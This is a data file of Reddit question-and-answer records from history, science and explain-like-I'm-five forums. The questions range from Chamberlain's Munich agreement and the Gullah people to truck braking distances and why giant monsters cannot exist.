{"q_id": "28sh4t", "title": "In 1938 Neville Chamberlain came back from Munich with the agreement and claimed it was \"Peace for our time\". Did he really believe that? Did people believe him when he said it?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/28sh4t/in_1938_neville_chamberlain_came_back_from_munich/", "answers": {"a_id": ["cie1wh9", "ciecebu"], "score": [186, 4], "text": ["Britain never had any serious intent of fighting for Czechoslovakia, even if the Munich Conference hadn't happened, and Germany went to war with Czechoslovakia, Chamberlain deep down probably still would not have gone to war over the country. The British cabinet debated on how to respond to the German overtures towards Czechoslovakia, Germany wanted permission to attack the whole of Czechoslovakia, but Britain said that they would only support the annexing of the German populated, Sudetenland. So this is when the Munch Conference happened, as both sides felt if they could meet face to face (rather than through intermediaries and diplomats) that they convince the other to see it their way. On the issue of Czechoslovakia, the British foregin minister Sir Alexander Cadogan wrote in his diary:\n\n > Foreign\nPolicy Committee unanimous that Czechoslovakia is not worth the bones\nof a single Grenadier. And they\u2019re quite right too!\u201d \n\nSo its important to establish that Chamberlain did not believe that Hitler would at all be satisfied by the Sudetenland, or even the whole of Czechoslovakia (which Hitler would take months after the Munich conference). As soon as Chamberlain returned home, he ordered all relevant industries to begin re-arming for war, France too sped up their re-armament, which had started in 1936. Neither nation's military was really ready for war, France was in a decent position being that they had started re-arming earlier, but they were still short of crucial armaments like artillery, tanks, anti-aircraft guns, and aircraft. Britain's military was an even in worse position, and to compound British military problems, many of the dominions, such as Canada and South Africa had made it clear that they weren't ready for a war, and would not be able to support Britain.\n\nNow the British public as a whole was relieved, as no one really wanted, what in most people's minds, a repeat of World War One. However, the issue of appeasement and the way which Chamberlain went about it divided the British public. For Chamberlain's supporters appeasement was a time honoured British tradition of keeping peace on the European continent. Britain was used to this system of \"give and take\" as a means of keeping the peace. It also represented a way of bringing stability to Europe, which would allow Britain to focus on its Empire, which was in danger from an ever expanding Italy and Japan. \n\nHowever, there were those who bitterly opposed the policy of appeasement. Churchill and his supporters denounced it as cowardly and weak. Churchill was a big fan of putting Germany back in its place. The left wing was offended by the abandonment of the principles set out by the League of Nations (such as self-determination). Far Leftists saw appeasement as a tool of capitalism, and they argued that countries like Ethiopia, the Spanish Republic, and Czechoslovakia, were being given up to fascist countries because fascism would eventually devour the USSR (the only real communist state at the time). \n\nChamberlain's fatal flaw was that he kept naively thinking that war could be postponed until Britain was absolutely ready. On March 15th, 1939 Hitler invaded the rump state of Czechoslovakia, and annexed the Czech parts, while setting up a Slovakian puppet state under a catholic priest named Joseph Tiso. Mussolini was not far behind and invaded Albania on April 7th. In the face of this aggression and violation of the Munich Treaty, Britain and France guaranteed that Poland would be protected from any German aggression. Chamberlain wasn't the biggest fan of this policy and kept thinking that there was a way to postpone war, even when it was clear that war was right around the corner.\n\nSources:\n\nThe Rise and Fall of the British Empire by Lawrence James\n\n1938: Hitler's Gamble by Giles Macdongh ", "The British negotiated with Ireland to return the so called treaty ports and end the Anglo Irish economic war.\n\nPart of the agreement was Irish neutrality . Reading accounts of the negotiations by participants they were surprised at the speed of the deal and were told war was on its way. \n\nIreland's neutrality was agreed then in 1938 to keep Ireland in Britains sphere of influence. \n\nState papers are available [here](_URL_0_)\n\nChurchill opposed the return of the treaty ports to Ireland but was out of favour.  The Irish had reason to fear a German backed civil war based on intelligence based on the Spanish Civil War.\n\nI am sure that he believed war was inevitable.I am  convinced that based on his policy towards Ireland  but believe he thought he had time to spare . He hadn't set up agreement  with Indian politicians and other commonwealth nations which he would have done if he thought war was imminent. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.difp.ie/publication-reviews/"]]}
{"q_id": "2g3so6", "title": "Did Charles Darwin have Chagas disease?", "selftext": "Edit for question clarification: It is known that Darwin came into contact with la vinchuca (*Triatoma infestans*, the vector for *Trypanosoma cruzi*) during his voyage on the beagle. There exists an account of his group observing la vinchuca biting the skin of humans. Besides contact with the vector, what other evidence suggests he developed the disease?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2g3so6/did_charles_darwin_have_chagas_disease/", "answers": {"a_id": ["ckffo5b"], "score": [2], "text": ["Can you give some detail as to why you think he might have had Chagas Disease?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3aut3g", "title": "how many businesses/medical are still 9-5ish when the majority of their clients work 9-5.", "selftext": "How is it that still to this day businesses can get away with being open 9-5 type of hours? I leave the house at 7:45am to get to work and come home about 5:30-6PM. \n\nIf I need a doc appointment, the latest is typically around 4. Dry cleaners closes about 6. Banks? Inside offices close at 5pm, drive-thru at 7. Same with post office.\n\nWhy are more businesses not open until at least 9?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3aut3g/eli5_how_many_businessesmedical_are_still_95ish/", "answers": {"a_id": ["csg57jw", "csg7phv", "csg9uxm", "csgcqxr"], "score": [19, 3, 4, 2], "text": ["How can they get away with it? Simple. They know you need them more than they need you. These kind of opening hours are roughly industry wide, so they don't have to worry about their clients going to a competitor. Extending their business hours costs money, and you can bet your bottom, a business isn't going to spend more if it doesn't get them more either.\n\nWith doctors there is also the fact that in some places there is a lack of doctors, so sometimes even if they do want to extend their hours, it is not that easy. You can't make a doctor work even more hours (they already generally work pretty long days) and you can't easily hire even more doctors if there is nobody around that has those skills. ", "For banks: their primary customers are businesses. No point in being open later than people that make up 90% of your own business.", "Doctor training involves long hours away from family, first in med school then in residency. \n\nThen primary care docs generally get mid $100K, which is great but not exactly a mind blowing amount of money for a smart 30 year old with mountains of debt. \n\nAt that point they're catching up on their own family lives, so just like you they want to work as close to 9-5 as they can, to match spouse and school age child hours. ", "In Asia precisely this happens. While office workers start at 8 or 9am. Retail shops often don't open until lunch time and they stay open toll 8-9pm instead. They do this to catch the commuter crowd going home needing services and to reduce load on Mass transit systems."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ankg8g", "title": "why is it so hard to remember the appearance or voice from someone you like?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ankg8g/eli5_why_is_it_so_hard_to_remember_the_appearance/", "answers": {"a_id": ["efu04sw", "efu0k75", "efu0myn", "efu1wrp", "efu2dy9", "efuhcw1", "eful5ww"], "score": [13, 9, 2, 4, 2, 2, 2], "text": ["I've had the same thing happen to me! I want to know why. After I hung out with a girl for two or three hours I forgot what she looked like and her voice", "Interestingly, same happens here, but while dreaming, it feels like I can get a crystal-clear picture, so the brain *does* store that information (or has some intriguing circuitry to fool itself)!", "Innitially I thought, \"Well you probably just don't truly like them,\" but I've been having the exact same thing described for me when I try thinking about this girl I'm sweet on. I don't know the science behind it, but I think it may be that our minds  percieve others differently due to emotional connections, like a different reality or something.", "This reminds me of the scene between Tom Hanks and Matt Damon toward the end of Saving Private Ryan. No idea if there\u2019s any accuracy to it, but it\u2019s basically said that to remember someone\u2019s face you have to think about that person in a contextual situation. So, think of a memory with that person you\u2019re trying to remember and you\u2019re better able to visualize them. That\u2019s always stuck with me and is something I\u2019ve always aimed to do when remembering someone. ", "This doesn\u2019t just happen with people you like. It happens with everyone.     \nFaces and voices are incredibly complex and remembering everything is really hard. So your Brain will just remember key details of faces and voices that are enough to recognise them in most cases but not enough to actually reconstruct them.", "My sister-in-law could not remember her husband\u2019s voice for a few weeks after his death. It broke her heart. My sister found a voice message she had saved and played it for her. Trauma?", "What if in your mind you view them as the perfect being and that's why you can't remember them clearly because if you do remember you can see all thier minor imperfections."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "7gstd8", "title": "Which was a bigger surprise: George Washington stepping down after two terms, or John Adams peacefully stepping down after losing reelection?", "selftext": "My friend mentioned how cool it is that Washington willingly stepped down after 8 years in power, and that made me realize that John Adams losing the election must have been another huge moment in American history. Was Washington giving up his power willingly or Adams not trying to keep power after losing the election more surprising to the American people and the world in general?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7gstd8/which_was_a_bigger_surprise_george_washington/", "answers": {"a_id": ["dqlnsvp", "dqlvjox", "dqml5fw", "dqmlj9n"], "score": [315, 1351, 19, 6], "text": ["Followup question: Do we know what the reaction would've been if Adams *hadn't* stepped down? It would be unthinkable today -- I can't even imagine even the staunchest Democrat not being appalled if Obama had refused to step down, for example -- but the election of 1800 divided the country every bit as much as that of 2016, so would Adams' supporters have defended his actions as the lesser of two evils compared to letting the Democratic-Republicans govern the country?", "I'm a social studies teacher who taught this lesson yesterday! It is generally considered that Washington's decision to step down established the precedent of a 2-term Presidency, which Thomas Jefferson and every other two term president until FDR follows.  However, the Revolution of 1800, in which power peacefully changes hands between the two political parties, was likely just as much of a shock.  The entire election was contentious, not just because of the vicious campaigning being done by the Federalists and Democratic Republicans but also because the election ultimately went to the House of Representatives when the electoral vote was tied between the two Dem. Rep. candidates, Aaron Burr and Thomas Jefferson.  \n\nIf Adams hadn't stepped down, we most likely would have seen some kind of civil war break out between state militias.  Both Virginia and Pennsylvania mobilize their militias when they think the house will struggle to choose between Jefferson and Burr, two candidates from the same party.  So given this evidence of states being ready and willing to fight over people from the same party, they most likely would have been prepared to fight against a Federalist that they do not agree with at all.  \n\nUltimately, both events were surprising to Americans due to the fact that no one knew what would happen in both situations.   Both events set precedent for the future, and establish the peaceful protocols that govern American politics today.\n\nTL;DR The likelihood of violence if Adams hand't stepped down was high, and both Washington and Adams stepping down were both surprising events to the American public.\n\nSources: _URL_0_  An excellent website for basic information on US history at the high school level.\n\n**I will edit with the name of the book I read in grad school on this topic after work.**\n\nEdit: The book is called American Insurgents, American Patriots.  Its focus is on the Revolutionary war, but it also discusses how Revolutionary thinking contributed to the early governance of America, and it covers the election of 1800.  ", "If I could piggy back of this question, Why was 4 years the decided upon presidential term as opposed to something more substantial like 10? Even today the presidents can barely get anything accomplished in four years. I can't imagine trying to cram actual nation building into four year blocks. Especially before the ability to mass communicate beyond printed word.", "Follow-up question: Considering that this established a norm, not a law until after FDR, why hasn't this norm been adopted by other democracies that formed with similar government models? I guess I'm thinking of places in Africa and South America esp. but possibly applicable to countries in SE Asia?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.digitalhistory.uh.edu/disp_textbook.cfm?smtID=2&amp;psid=2978"], [], []]}
{"q_id": "45reov", "title": "I'd like to learn more about Marco Polo and Sir Francis Drake, what books would you recommend?", "selftext": "I checked the book list and also the list compiled by users of this sub but couldn't find any. I don't want to just pick up any book with their names on, I really want to find the most accurate books that I could. Thanks for any help you can give.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/45reov/id_like_to_learn_more_about_marco_polo_and_sir/", "answers": {"a_id": ["d00avm2"], "score": [2], "text": ["The Travels of Marco Polo, Sir Henry Yule. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2cq5q0", "title": "Holy Roman Empress Maria Theresa had 11 daughters and they were all named Maria Something. Was there a specific reason for this, or was this a bit of vanity on Maria Theresa's part?", "selftext": "I've been looking for an answer to this on Google, but have yet to find a reason. I think it's really fascinating that all her daughters had the first same name, and was thinking maybe it was an Austrian tradition, or related to religion somehow?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2cq5q0/holy_roman_empress_maria_theresa_had_11_daughters/", "answers": {"a_id": ["cjhy3c7"], "score": [9], "text": ["It was a Habsburg tradition, and had been since the 17th century, so it wasn't Maria Theresa's idea. It was also to show the family's and Austria's special devotion to the Virgin Mary, so you're doubly right. \n\nsource:  Marie Antoinette: The Journey, by Antoina Fraser "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1i2e11", "title": "What wars would you classify as good vs evil (either in retrospect or in context)?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1i2e11/what_wars_would_you_classify_as_good_vs_evil/", "answers": {"a_id": ["cb0c1vl"], "score": [2], "text": ["Even with what I think your definition of good vs evil is, WW2 doesn't fit that.\n\nThe so called Russian Front was, by itself, the largest war in history.  Both sides were brutal.  In fact, the Germans justified their throwing away of the rules of war because the Soviets had already stated that they didn't consider themselves a continuation of Tsarist Russia and so didn't consider themselves signatories of various conventions, such as the Geneva and Hague Conventions.\n\nThe USSR had invaded Poland and not in defence.  Their reason was no better than that of the German's, they wanted it.  They brutally murdered thousands of Poles during their occupation of Poland.  As they \"liberated\" Eastern Europe many thousands of women were raped with the rapes hitting unbelievable levels during the conquest of Germany.\n\nEven the Western Allies did things which don't look good.  Take the Dehousing Programme which was implemented when it was realised that the bombing of Germany's factories wasn't working as well, or as fast, as the Allies would have preferred.  Studies of the Blitz against the UK showed that civilians did not like their homes being destroyed even more than they hated people being killed.  The decision was then made to destroy a large amount of houses in dozens of German cities.  However, the other lesson learnt during the Blitz was ignored which was it still wasn't enough to break the morale of the civilian population.  The Dehousing Programme is also known by another name, a name used also during WW2, Terror Bombing.\n\nAfter the war the victorious European powers tried to hold on to their colonial empires, such as France who ran off back to South East Asia to try and retake their former colonies.  The Netherlands had to be pressured to give up the Dutch East Indies to form Indonesia.  The British really would've liked to have held onto India.  This was just after those same European countries had fought for years for their own freedom, often speaking long and loudly about Democracy and Freedom.  \n\nNow, I'm not making the claim that the Western Allies were as bad as the Germans, or even that the Soviets were as bad, I just don't believe it's as clear cut White vs Black.\n\nEdit - In the Pacific the Australians had an unofficial policy of not taking Japanese as prisoners.  It was known to the Australian high command who did little it seems to stop it.  American soldiers at the front had similar ideas.  I've heard that the taking of prisoners was so low, which hindered intel gathering, that the US looked into things like offering bounties on captured Japanese."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "28xdez", "title": "what happened to the killer bee scare in the 90s in the U.S.A.?", "selftext": "I remember killer bees being a scary fad thing in the 90s with everyone convinced that bees were swarming across the country.  within a few months of the africanized bee hysteria reaching its peak it all seemed to go away except for a crappy TV movie on Fox networks.   \n  \nwas there ever really any risk? did people take action preventing killer bee spread? have africanized bees spread as much as predicted but colony collapse made it less noticeable?   did africanized bees just become tired of the bad reputation and quit being dicks?   ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/28xdez/what_happened_to_the_killer_bee_scare_in_the_90s/", "answers": {"a_id": ["ciflgwu"], "score": [9], "text": ["They're still here, but they've claimed all the territory they're likely to claim and people have gotten used to them and developed coping strategies. Beekeepers have to frequently replace their queens from known good stock.\n\nThey are [somewhat resistant to Varroa mites](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nationalatlas.gov/articles/biology/a_bees.html"]]}
{"q_id": "b0asbr", "title": "There is a group of African Americans called the Gullah people who were able to retain a lot of their African traditions who reside on the east coasts of Georgia and South Carolina and also arrived here the same way as other African Americans. (Descended of slaves) How did they keep their culture?", "selftext": "I\u2019m from Texas and I haven\u2019t heard much about the unique African Americans except they were different in some cultural aspects. How is this possible?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b0asbr/there_is_a_group_of_african_americans_called_the/", "answers": {"a_id": ["eidqik0"], "score": [185], "text": ["Alright. I should preface this with two things:\n\nFirst, I\u2019ve tried a few times in the past to research this. There\u2019s lots to read about the language, but less about the history. I couldn\u2019t find anything at my then-campus library the first time, nor at either of my huge regional libraries the second time. One of the few *scholarly* sources I found is a paper (or an interactive Ivy League Thing), linked below, which I originally found as a citation at Wikipedia under an otherwise poorly-cited article. Maybe Wikipedians are having as much trouble as I am =P\n\nI\u2019m going to lean fairly heavily into this source, as it speaks most directly to what Gullah slaves were doing on those plantations.\n\nSecond, I\u2019m gonna have to talk dispassionately about African slavery in the United States.\n\n\u2014\n\nAfrican rice is not like Asian rice. They\u2019re related, but they aren\u2019t the same. African rice was historically cultivated along the west coast of Africa, especially Sierra Leone, and the people growing it had a certain amount of expertise. Think about rice cultivation - has almost nothing to do with wheat or cotton farming!\n\nSo when it was discovered that African rice would grow off the SE coast of the United States, slavers began importing slaves with experience in rice cultivation or the related infrastructure.\n\nAlthough many American plantations existed with majority-black populations (mostly or entirely enslaved) it\u2019s difficult to express just how stark the contrast was on these rice plantations. We\u2019re talking about many hundreds of Africans and their children on island plantations - from all over Africa, but especially from tribes native to Sierra Leone - and that simple fact began the process of creolization. Contrast that with the experience of your average black slave on the mainland, where the only thing you were sure to have in common with the person next to you was *being enslaved* in and of itself.\n\nSummarized by Yale:\n\n >  The connection between the Gullah and the people of Sierra Leone is a very special one. Sierra Leone has always had a small population, and Sierra Leonean slaves were always greatly outnumbered on the plantations by slaves from more populous parts of Africa\u2014except in South Carolina and Georgia. The rice plantation zone of coastal South Carolina and Georgia was the only place in the Americas where Sierra Leonean slaves came together in large enough numbers and over a long enough period of time to leave a significant linguistic and cultural impact.\n\nNow fast forward to the Civil War. You have something more or less resembling Gullah people, and a handful of white slavemasters and overseers, and the islands export rice. Then the Navy shows up to blockade the South. The white people flee to the mainland, leaving islands full of *nothing* but Gullah people, rice farmers mainly, and nobody else. These would later be among the first people formally liberated by Union forces, and they remained the primary occupants of the Sea Islands.\n\nThose ongoing circumstances, an unusually large number of specialized slaves from a specific geographical region, the benefits of staying in one place, the early departure of slavers who left their slaves behind, the intervention of the Union who mostly left the ones alone who didn\u2019t join the famous South Carolina colored regiments, and then another century of general isolation, created a Gullah identity. And here they are today, a slave-descended people off the southeastern coast who\u2019ve retained a creole language, a unique culture, and even some terminology and songs and etc. that go all the way back to Sierra Leone.\n\nMain source: Yale, *The Gullah: Rice, Slavery, and the Sierra Leone-American Connection*, archived [here](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://web.archive.org/web/20151006082735/http://glc.yale.edu/gullah-rice-slavery-and-sierra-leone-american-connection"]]}
{"q_id": "46uiyb", "title": "If we accept that gravitation is an effect of distortions in spacetime, why do we still try to unify gravity with the other forces?", "selftext": "Doesn't the warped spacetime idea mean that two masses \"accelerating\" toward each other due to gravity are, in fact, not accelerating at all but each just following their respective path in spacetime?  It seems to me that since the objects aren't directly interacting with each other that this makes gravity fundamentally different from the others, no?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/46uiyb/if_we_accept_that_gravitation_is_an_effect_of/", "answers": {"a_id": ["d0812x7", "d085atk"], "score": [20, 2], "text": ["First of all, the other fundamental forces have great similarities to gravity. They also involve curvature and parallel transport (what you would call \"following a straight path\"), however of additional \"internal\" geometrical objects, while general relativity works on the structure spacetime already has by himself. It's technical. They're strictly different but very similar once you put things in a certain perspective.\n\nWith that said, I think the answer to your question is string theory. \n\nSomeone attempting to \"cure\" GR - i.e. find a consistent quantum theory containing GR, would just be doing quantum gravity. He has no reason a priori to believe the quantization of gravity has anything to do with the standard model. This is the approach taken by many proposals for quantum gravity such as LQG: let's just solve the quantization of gravity, that's all I want to do here. The other forces, and thus a theory of everything, will come later.\n\nString theory does not allow for this. In strings, everything is fixed. The self-consistency of the theory tells you everything there is and there can be. You cannot just *add* the rest of the standard model to a string theory - it has to already be in there, in the string theory. So you're *forced* to consider a string theory as a theory of everything if you want to use it as a model of the physical world. The problems of quantizing gravity and explaining the standard model are impossible to separate, they must be solved simultaneously.\n\nSo why should one trust strings? Well, for one, they work. As of today they are the only known theory of quantum gravity that is consistent and yields a spacetime described by general relativity as an effective theory. In fact it likes to have gravity so much that it's essentially impossible to put it in a situation where gravity doesn't pop out (this was considered a flaw back at the time). So most work in string phenomenology starts with the idea that the gravity problem is solved and concentrates on making the rest of the Universe work.\n\nFinally, there are also not necessarily stringy proposals that still take the theory of everything road; mostly because of the above similarities and also because of this interesting coincidence: grand unification (the unification of the forces of the SM excluding gravity) seems to happen around 10^16 GeV, which is not that far from the 10^19 GeV of the Planck scale where quantum gravity is. Therefore there are reasons to suspect a connection even without resorting to strings.", "General relativity explains gravity as a distortion in space-time fabric or field, and as I understand QFT explains quantum mechanics as excitation in fields of fundamental particles. It's understandable then, the desire to unify them and see how the fit together. How the distortion and excitation in space-time affect the fields in QFT. You can use different theories in different situations, but how they interact with each other? only way to know that is to unify these theories. Doing so will give us better insight in working of universe.\n\nAdditionally, we have objects in nature which are both massive at macroscopic level as well as extremely small at microscopic level (black holes). At the time of big bang, universe was of the size of a marble. These are scenarios where application of any one theory alone completely breaks apart, meaning these theories are not complete. So attempts are being made for unification in the hope that we might be able to reconcile these two."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1tt8nz", "title": "why can't godzilla-esque monsters exist in nature ?", "selftext": "I understand that food and energy levels would be and issue, but is there anything else stopping gargantuan creatures evolving ?\n\nSame for giant flying creatures, bigger versions of real animals, insects and sea creatures.\n\nThanks.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tt8nz/eli5_why_cant_godzillaesque_monsters_exist_in/", "answers": {"a_id": ["ceb6tz2", "ceb6vsi", "ceb6x59", "ceb82zu", "ceb93fv", "ceb9ble", "ceb9mzy", "ceb9o8z", "ceb9u7f", "cebae24", "cebc3af", "cebcvm8", "cebdf6c", "cebdp3j", "cebf23h", "cebf9h7", "cebgwjl", "cebvixd"], "score": [6, 414, 69, 8, 4, 11, 4, 7, 2, 11, 2, 3, 5, 3, 2, 2, 2, 2], "text": ["They have before (dinosaurs) but i remember reading that size of insects and bugs are proportional to the amount of oxygen in the air .... so that might be it", "Gravity and oxygen are your limiting factors. Too big, and you can't form bones strong enough to support the weight, and you would need gigantic lungs to support the body mass required. You find larger animals in the ocean, such as blue whales, because gravity isn't a factor there. \n\nIn the time of the dinosaurs, there was a much higher concentration of atmospheric oxygen, so it was easier to get the required oxygen. ", "There are 'engineering' issues with very large land creatures, in addition to issues of higher calorie requirements and other problems.\n\nIf you double the size of an animal, you increase its volume (and thus its weight) by eight times. But you only increase the strength of its structures (which are based on cross-section *area*) by four times. It's called the [square-cube law](_URL_0_).", "In the Carboniferous Period, they was a hell of a lot of oxygen on the planet, compared with todays standards, so there were spiders as big as small cars and massive dragonflys! Fuck that shit", "A similar question was answered [here](_URL_0_).", "So hypothetical: we find a life supporting planet with a huge abundance of O2, could we also expect to find gigantic 'monsters'?", "I'm not sure how to break this to you...\n\n\n_URL_0_", "You clearly havent seen the size of the fucking horse i just saw", "I saw something on ask science that a horse sized ant could not exist because the exoskeleton wouldn't be strong enough in a direct scale up. The same with the respiratory system of an ant which is 1000 of breathing holes all over its body and in a direct scale up these would not be large enough for air and only weaken the aforementioned exoskeleton   ", "How has nobody brought up the fact that Godzilla has laser-beam eyes yet? ", "Oh I remember this lecture from bio 2## or whatever...... \n\nIf I recall correctly, surface area increases differently than volume. So surface area increases like x^2 while volume increases like x^3, and it was something about muscles being part of what expands at a x^2 rate so while the volume of the creature goes up the muscles aren't expanding at the same rate (includes all muscles). \n\nPlease correct me if I'm wrong though. Also I'm on my phone sorry for bad formatting ", "Well remember that fundamentally natural selection can always find a way to surpass our assumptions of physiological limitations for the development of large creatures. It just depends on much selection pressure vs trade offs exist for \u2018extra-large\u2019 beasts. I see that allot of post below mention O2 limitation  &  dinos, but remember that most dinosaurs actually were not that big at all and evenly recently in the last 30,000 years North America was covered with large mammals. \n\nOn the physical side (assuming earth\u2019s maximum O2 concentrations), I think it\u2019s really simple to understand this size limitation via physical scaling with constant gravitational forces. Think about how different properties of a cube of water scale with size. \n\nAs we increase the size of the cube (S) measure as height\n-\tIts surface area would on one face would increase to the square root (S^2)\n-\tIts volume would increase to the cubed root (S^3)\n-\tVolume ~ weight, so weight would increase to the cubed root (S^3)\n\nIf we were to build a table to support this cube the material properties of the wood remain constant  &  the strength of each of the table legs would be proportional to their cross sectional area, which increases to the square root (S^2). \n\nSo if we use this as an analogy to a monster on earth it has to get successively bulkier with size to accommodate the limitations of common biological material ie. mussel tissue skeletal ect. (think of an elephant with thick bulky legs ~ compared to an insect that can support itself with thin little legs). \n\nIf Godzilla could exist on earth, in its present size, its mussel tissue  &  bones would have to be made of some kind of alien super material ~ or natural selection would have to develop some very novel physiological strategies. \n\nI think it would be possible, but what would it use those giant jaws for? Would it not be better to have a mouth more like an ant-eater? there would plenty of humans to facilitate it\u2019s high energy demand if it were able to effectively capture them. \n", "They evolve if it benefits them, if they ever grow large their predator would evolve to be large too, but humans would probably hunt them down to extinction just for the trophy and honor and all that crap (kinda like how the fire nation killed off dragons) ", "Because of humans. ", "you might find this interesting if it hasn't been posted here yet\n\n_URL_0_", "i believe at a certain point the bones would not e able to hold the weight of the animals if they grew to that size. Or something along those lines ", "You havent met my boss", "Humans. Humans are why."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Square-cube_law#Biomechanics"], [], ["http://www.reddit.com/r/askscience/comments/1t6bgg/i_know_that_the_blue_whale_is_the_largest_known/"], [], ["http://en.wikipedia.org/wiki/Dinosaur"], [], [], [], [], [], [], [], ["http://www.angelfire.com/ego/g_saga/kaijubiologyarticle.html"], [], [], []]}
{"q_id": "1p6p9z", "title": "Can a full loaded truck stop faster (using brakes) than an empty one?", "selftext": "Of course a heavier object has more kinetic energy than a lighter object while moving at the same speed. But the heavier car does have a better grip and thus could brake harder without locking its wheels.\nSo what is the effect of vehicle load on its braking performance, does higher load make stopping distance longer, shorter, or do these effects of added weight cancel out?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1p6p9z/can_a_full_loaded_truck_stop_faster_using_brakes/", "answers": {"a_id": ["cczbvmu", "cczbxbw", "cczcmiu", "cczcqid"], "score": [6, 14, 10, 11], "text": ["This is addressed in the CDL study manual I'm reading right now - here's the direct quote from the book:\n\n**The Effect of Vehicle Weight on Stopping\nDistance**\n\nThe heavier the vehicle, the more work\nthe brakes must do to stop it, and the more heat\nthey absorb. But the brakes, tires, springs, and\nshock absorbers on heavy vehicles are designed\nto work best when the vehicle is fully loaded.\nEmpty trucks require greater stopping distances\nbecause an empty vehicle has less traction.", "Adding extra weight will increase grip available from the tyres, but the proportional increase is less - doubling the weight might only return a 190% increase in grip.\n\nAll tyres behave in this way (fundamental reason why all racing cars need to be stripped as light as possible), road tyres are much less sensitive then a racing tyre however due to its compound and construction. \n\nEdit:\n\nForgot to mention a few things; the tyre is the only interface between the road and the truck. Depending on the design, the tyre my or may not be the limiting factor in braking performance. Suspension geometry will be optimised for a given configuration (generally while loaded for safety) to make use of the tyres peak grip. Despite the optimisation of geometry for a loaded condition, I highly doubt a loaded truck will stop quicker then when it is empty.", "This, in a classical sense, has a lot to do with the [coefficient of friction](_URL_1_).  With this empirical model, the friction force (stopping power) is equal to some scalar times the downward normal force (weight).  I say model, because you can get some interesting claims with it.  For example, if you use this to predict the maximum quarter mile times for dragster, you will find their times are impossible without a coefficient of friction  >  1.\n\nAnyway, running with that model and equating the kinetic energy of the vehicle (.5mV^2 ) to the work required to stop it (F D), where V is the vehicle velocity, m is the mass, F is the braking force which is equal to mu*W, and D is the distance to stop, you find that the distance D is independent of the mass.\n\nWork = Kinetic Energy\n\nF D = .5 m V^2\n\nmu*W*D = .5 m V^2\n\nmu m g D = .5 m V^2\n\n...\n\nD = .5V^2 /(mu g)\n\n\nSo, with the classic physics result, the weight should not change the stopping distance since the available stopping force would increase in proportion to the weight as the work required to stop the vehicle also increases in proportion to the weight - cancelling out.\n\nThis actually seems to give a pretty good estimate: \n\nUsing [mu of .7](_URL_2_), from 60 mph, [you get 52.4m (171.8 feet)](_URL_0_)\n\n\n\n\n", "Something else not mentioned by other replies - more weight means more deceleration force needed, which means more heat generated in the braking system.\n\nUp to a point, this isn't a problem, as the brake system is designed to allow for this to a degree.\n\nBeyond that point though, especially with brake fluid that hasn't been changed in a while (letting it absorb moisture over time and lowering its boiling point), the brake fluid will start to boil. Unlike liquids, gases are compressible and the presence of gas bubbles in the hydraulic brake system will cause a rapid loss of pressure.\n\nHence a heavily loaded vehicle attempting to stop from high speed may generate enough heat to experience \"brake fade\" resulting in a loss of braking power and increased stopping distance.\n\nIt can be a major problem for trucks traveling on downward inclines, and drivers try to use engine compression for braking as much as possible in these scenarios to reduce the heat buildup in the actual brakes.\n\nThe exact point at which brake fade occurs depends on how well designed the brake system is to dissipate heat, and how well it has been maintained."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://wolfr.am/1blMPNN", "http://www.engineeringtoolbox.com/friction-coefficients-d_778.html", "http://hyperphysics.phy-astr.gsu.edu/hbase/mechanics/frictire.html"], []]}
{"q_id": "3o4zoz", "title": "[Question] Are aesthetics mostly subjective?", "selftext": "Does are brain have any hard wired aesthetic value? It would appear that people like certain proportions and ratios as well as shiny/glossy objects in certain contexts.  ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3o4zoz/question_are_aesthetics_mostly_subjective/", "answers": {"a_id": ["cvu9ln4"], "score": [3], "text": ["You should read a book called 'Emotional Design' by Donald Norman in which he explains the 3 levels (visceral, behavioral, reflective) of how we react to certain objects.\n\nI can't really answer your question, because I don't know enough about the psychology of design. However I might be able to help you answer it by asking a question instead. What even is objective good design? Isn't what we view as pleasant mostly related and heavily influenced by our environment?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
